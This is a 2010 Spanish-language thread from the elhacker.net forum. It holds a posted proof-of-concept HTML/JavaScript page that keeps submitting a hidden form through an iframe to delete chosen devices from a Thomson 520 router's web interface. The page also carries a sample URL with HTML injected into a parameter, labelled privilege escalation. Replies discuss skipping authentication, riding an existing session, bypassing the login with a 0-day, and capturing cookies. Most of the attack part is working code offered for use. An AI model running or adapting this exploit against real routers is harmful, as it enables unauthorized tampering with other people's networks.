elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
27 Mayo 2012, 17:29  


Tema destacado: Nueva página de elhacker.net en Google+ Google+

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Avanzado (Moderadores: ANELKAOS, TRICKY)
| | |-+  Desapareciendo dispositivos en la interface web (Modem/Router Thomson 520)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Desapareciendo dispositivos en la interface web (Modem/Router Thomson 520)  (Leído 2,015 veces)
Preth00nker

Desconectado Desconectado

Mensajes: 43


Mov MyHeart, 4C6F7665h!!!


Ver Perfil
Desapareciendo dispositivos en la interface web (Modem/Router Thomson 520)
« en: 16 Mayo 2010, 04:51 »

Bien, libero el PoC con licencia GPL ya que aún puede añadirse varias mejoras como limpiar los logs (del servidor web) después de cada disparo o darle una mejor interface gráfica a la herramienta.
El funcionamiento es muy básico; el portal del router antes mencionado permite depurar la lista de dispositivos activos manualmente, de forma que lo que hace el siguiente script es borrar el dispositivo con la mac proporcionada por el usuario mediante la acción de un método post secundado por un iframe, hasta ahora el único modelo del cual he podido confirmar su funcionamiento es el mencionado en el título del post.
cualquier duda quedo a su disposición.

Código:
<html>
<head>
<script>

 var hw="";
 var  addrss="";
 var  timeR="";
function f(){

  if (hw==""){
   hw=prompt("Proporcionar su HW","00:00:00:00:00:00");
   addrss=prompt("Proporcionar la ip`del router"," 192.168.1.254");
  }

  document.getElementById('31').value=hw;
  document.getElementById('foo').action="http://"+addrss+"/cgi/b/_dev_/cfg/?be=0&l0=3&l1=0&name=&key="+hw;
  document.getElementById('foo').submit();

}
</script>
</head>
<body onLoad="setInterval('f()',3000);" bgcolor=f0f0f0>
<h1>Clean the house<br>Thomson 520</h1>
<h3>By preth00nker</h3>

implementar cleanning de historial + autentificación
http://3.2.1.99/cgi/b/_dev_/ov/?be=0&l0=3&l1=0&name=<h1>Unknown-00-18-3f-16-19-49&key=00:18:3f:16:19:49
Escalando privilegios


 <form METHOD=POST action="" target="a" id=foo>
  <input name=0 value="22" type=hidden >
  <input name=1 value="" type=hidden >
  <input name=31 value="" type=hidden id=31>
  <input name=32 value="hostname" type=hidden>
  <input name=33 value="0" type=hidden>
 
 </form>
 <iframe src="" name="a" width=0 height=0>
</body>
</html>

un saludo!
En línea

mov [MyBrain], IA
SH4V

Desconectado Desconectado

Mensajes: 39



Ver Perfil WWW
Re: Desapareciendo dispositivos en la interface web (Modem/Router Thomson 520)
« Respuesta #1 en: 16 Mayo 2010, 16:20 »

Pinta muy bien Preth00nker! Por lo que veo lo hace sin previa autenticación no? No hay un sistema de sesiones que verifique que el navegador que está intentando hacer ese cambio tiene permiso para hacerlo?

Saludos
En línea

Citar
javascript:đ=+!!{};(this)[ł={ŋ:''+!'[]',ŧ:''+!!đ},ł.ŋ[đ]+ł.ŋ[đ+đ]+ł.ŋ[++đ+đ]+ł.ŧ[--đ]+ł.ŧ[+!đ]](đ)
Preth00nker

Desconectado Desconectado

Mensajes: 43


Mov MyHeart, 4C6F7665h!!!


Ver Perfil
Re: Desapareciendo dispositivos en la interface web (Modem/Router Thomson 520)
« Respuesta #2 en: 16 Mayo 2010, 21:32 »

tienes razón sh4van3, esa fue una de las razones por las cuales el poc no había sido liberado, sin embargo, por instinto (ya que no lo he puesto en práctica por el hecho de que no poseo un thomson a la mano) podríamos decir que por la forma en la cual trabaja un navegador una vez el usuario de la tool se autentique en el servidor pude lanzar el PoC sin necesidad de ingresar nuevamente el login, claro que siempre está la opción de descubrir un 0-day para realizar el bypassing de loggin (personalmente esta opción de parece mejor :) )
un saludo!
En línea

mov [MyBrain], IA
SH4V

Desconectado Desconectado

Mensajes: 39



Ver Perfil WWW
Re: Desapareciendo dispositivos en la interface web (Modem/Router Thomson 520)
« Respuesta #3 en: 16 Mayo 2010, 21:42 »

He estado googleando un poco pero no he encontrado el user/pass por defecto. Estaría bien que enviara el formulario con el user/pass por defecto y capturara la cookie :). Con cURL en PHP se podría hacer. (Hasta entonces a esperar el 0-day)

Saludos!
En línea

Citar
javascript:đ=+!!{};(this)[ł={ŋ:''+!'[]',ŧ:''+!!đ},ł.ŋ[đ]+ł.ŋ[đ+đ]+ł.ŋ[++đ+đ]+ł.ŧ[--đ]+ł.ŧ[+!đ]](đ)
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Problemas con modem thomson ST516 V6 [solucionado]
Redes
ANTRUCK 4 1,980 Último mensaje 11 Julio 2011, 19:32
por madpitbull_99
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines